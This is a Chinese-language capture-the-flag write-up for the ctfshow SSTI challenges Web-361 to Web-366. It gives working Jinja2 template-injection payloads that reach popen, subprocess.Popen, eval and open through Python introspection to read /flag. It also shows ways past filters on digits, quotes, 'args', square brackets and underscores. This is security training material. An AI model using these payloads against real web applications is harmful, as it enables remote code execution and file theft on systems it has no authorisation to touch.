ctfshow-ssti实战
Web-361
os._wrap_close类
进入页面的时候有个hello none,我们用get方式传name为不同值,就会变成不同的hello name
我们令name=49,发现回显是hello 49
令name=49,发现回显是hello 7777777
因此,我们使用魔术对象来看基类中的所有子类:
可以看到页面回显信息中出现非常多的类
其中,可以看到里面有os._wrap_close类,里面有个popen函数,我们可以用这个函数来完成我们的注入,下面问题就是怎么知道这个类是第几个
回显这么多类,一个个找属实有点不太现实,我们这边选择写一个简单的脚本(不过我这里是网上直接找的)
1 | import requests |
打印出的数字是132,所以我们接下来就是实例化对象,确认这个类里面的确有这个函数
1 | ?name={{[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}} |
回显依然一大堆……我们ctrl+F就可以发现里面确实有popen函数了
接下来就是利用这个函数了!
1 | http://9c386959-6c7d-451b-a48d-a02387c4b367.challenge.ctf.show/?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}} |
我们来看看根目录下有啥,发现flag就在里面!
ok,接下来cat flag就完事力
1 | http://9c386959-6c7d-451b-a48d-a02387c4b367.challenge.ctf.show/?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} |
获得了flag!
config
写到364突然恍然大雾,回到361试了一下
1 | http://6cf27c9e-b5ac-4310-a3be-609929ce7885.challenge.ctf.show/?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}} |
果然,直接获得flag
Web-362 过滤数字
subprocess.Popen类
1 | http://7dac1b45-57e3-4007-b55a-aa7a646bcaaf.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()}} |
发现和之前一样,搞出来一堆的类,而且里面依然有os._wrap_close类
我们跑一下脚本看看还是不是132了
1 | import requests |
发现别说132了,什么数字都没出来
搜了一下,发现是屏蔽了某些数字
我也试了一下,如name=2或name=3的时候,回显就错误了,那这样的话,第132的os._wrap_close类也就用不了了。
那我们还是看看那一堆类里面,有没有别的可以利用的,可以看到,里面有个subprocess.Popen类,应该和那个popen函数有点关系
所以我们写脚本来找这个类的位置
1 | import requests |
出来结果是407,接下来就利用这个类来找flag
然后是对这个类的整理
http://www.cppcns.com/jiaoben/python/295192.html
https://docs.python.org/zh-cn/3/library/subprocess.html
1 | http://7dac1b45-57e3-4007-b55a-aa7a646bcaaf.challenge.ctf.show/?name={{().__class__.__mro__[1].__subclasses__()[407]("cat /flag",shell=True,stdout=-1).communicate()}} |
顺带一提,这个__mro__[1]可以用__base__代替
所以我们这样即可,注意:
communicate()函数是为了获取cat到flag
然后stdout为什么是-1,暂时不太理解
当然,可以的话也可以
1 | http://7dac1b45-57e3-4007-b55a-aa7a646bcaaf.challenge.ctf.show/?name={{().__class__.__mro__[1].__subclasses__()[407]("cat /flag",shell=True,stdout=-1).communicate()[0]}} |
全角数字代替正常数字
用这个脚本来获取全角数字
1 | def half2full(half): |
然后回到上一题的payload,把132替换成全角的即可
1 | http://0ae26f66-28c8-4dd7-aa5d-071f7e40f315.challenge.ctf.show/?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} |
利用__builtins__
一些前置知识:
1 | __builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数 |
可以用以下已有的函数,去找到__builtins__,然后用eval就可以了:
1 | ?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}} |
当然,也可以用open函数:
1 | ?name={{url_for.__globals__['__builtins__']['open']('/flag').read()}} |
这里还有另一个方法可以得到builtins:
1 | ?name={{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}} |
当然,也可以像361那种:
1 | ?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}} |
控制语句
1 | http://0ce1154b-9197-4c38-9be8-120b7382683f.challenge.ctf.show/?name={% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('cat /flag').read() %}{% endif %}{% endfor %} |
Web-363 过滤引号
1 | http://38cdd61b-ffde-47de-92fc-7ac9ac533e0c.challenge.ctf.show/?name={7*7}} |
发现回显还是49
但是发现加了单引号之后就显示:(了,试了一下,换成双引号也不行看来是过滤了引号
1 | http://38cdd61b-ffde-47de-92fc-7ac9ac533e0c.challenge.ctf.show/?name={{7*'7'}} |
而我们之前的payload,那些cat /flag等函数都是在引号之内,说明我们得换个方法
1 | http://38cdd61b-ffde-47de-92fc-7ac9ac533e0c.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()}} |
我们这边可以考虑使用get传入参数
os._wrap_close类
用和361基本一样的脚本就可以发现,仍然能在第132的位置找到我们的os._wrap_close类
在web-361的时候,我们使用的是
1 | ?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}} |
本来应该这样的,但是单引号被过滤了
引号被过滤了无法执行,把’popen’先换成request.args.a
(这里的a可以理解为自定义的变量,名字可以任意设置),让a=popen
同样的,命令执行’ls’也要换
所以
1 | ?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag |
就可以获得flag
subprocess.Popen类
和刚刚其实差不多的思路
1 | ?name={{().__class__.__mro__[1].__subclasses__()[407](request.args.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag |
还省了一个参数
builtins
__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
1 | ?name={{[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.__builtins__[request.args.a](request.args.b).read()}}&a=open&b=/flag |
open就是打开文件的函数,所以不用cat
Web-364 过滤args
request.系列
1 | http://729778b3-4ecd-4ae3-a38c-2cb38398cf63.challenge.ctf.show/?name={{7*'7'}} |
和363一样,7*7的时候还是49
7*‘7’的时候就变成:(了
1 | http://729778b3-4ecd-4ae3-a38c-2cb38398cf63.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()}} |
嗯……还是出来一堆类,用363的payload的时候发现又出问题了
1 | ?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag |
试了一下,发现是args被过滤了
我们可以换request.values.a来绕
1 | ?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.a](request.values.b).read()}}&a=popen&b=cat /flag |
其他类其实原理差不多
只需要把request.args.a换成request.values.a即可
查了一下,和args相比,values不止能接收get参数,post参数也照单全收
除此之外,还可以是request.cookies来传cookie参数,
chr()
这道题还可以用chr()函数来绕过
我们先看看chr()函数是干嘛的
chr(i)可以返回整数i对应的ASCII字符,i可以是10进制也可以是16进制
1 | >>>print chr(0x30), chr(0x31), chr(0x61) # 十六进制 |
可以用这个payload判断chr()函数的位置:
1 | {{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}} |
用bp跑一下
随便拿一个都行,我们这边用80
1 | ?name={%set chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}} |
然后,至于这个payload为什么是这样
大致意思,就是先利用控制语句设置一个chr字符串变量,其值就等于__builtins__
下面的chr,然后
拼接出来类似于下面这个命令
1 | {{config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }} |
由于都是chr()函数拼接而成,所以也自然不需要引号来强调popen()里为字符串
Web-365 过滤中括号
1 | http://653302a0-a703-4509-905c-733f906a0f5c.challenge.ctf.show/?name={{7*'7'}} |
熟悉的故事,咱们的引号又倒了(哭腔
1 | http://653302a0-a703-4509-905c-733f906a0f5c.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()}} |
这下寄了,连类都没显示出来,试了一下,是[]被优化过滤了
顺带一提args还是不行
其实这个方法也可以算两个
有两种方式可以绕过[
可以用__getitem__
和pop
代替,因为pop会破坏数组的结构,所以更推荐用__getitem__
引入__getitem__
调用字典中的键值,比如说a[‘b’]就可以用a.getitem(‘b’)来表示,成功绕过[]
上一题的payload是
1 | ?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.a](request.values.b).read()}}&a=popen&b=cat /flag |
我们把中括号换成getitem即可(class前那个中括号改成小括号即可)
1 | ?name={{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=cat /flag |
或者
1 | ?name={{().__class__.__base__.__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag |
获得flag!
Web-366 过滤下划线
不用说,引号又倒了
中括号等前面被屏蔽的也都没了
1 | http://43e20988-b97b-4e38-9eab-14522ea18ac1.challenge.ctf.show/?name={{().__class__.__base__.__subclasses__()}} |
也不行,试了一下发现倒不是因为括号,而是因为下划线
顺便在网上找了个找过滤内容的fuzz脚本,稍微改改就能用了
来自https://blog.csdn.net/LYJ20010728/article/details/120190525
1 | import requests |
返回结果是
1 | blackList is ["'", '"', '[', '_', '__', 'get_flashed_messages', 'current_app', 'args', 'url_for'] |
这里为了绕过下划线的过滤,要用到flask自带的attr过滤器
1 | ""|attr("__class__") |
所以构造payload
1 | http://43e20988-b97b-4e38-9eab-14522ea18ac1.challenge.ctf.show/?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__ |
之所以用lipsum是因为下划线比较少,可以少绕几个下划线()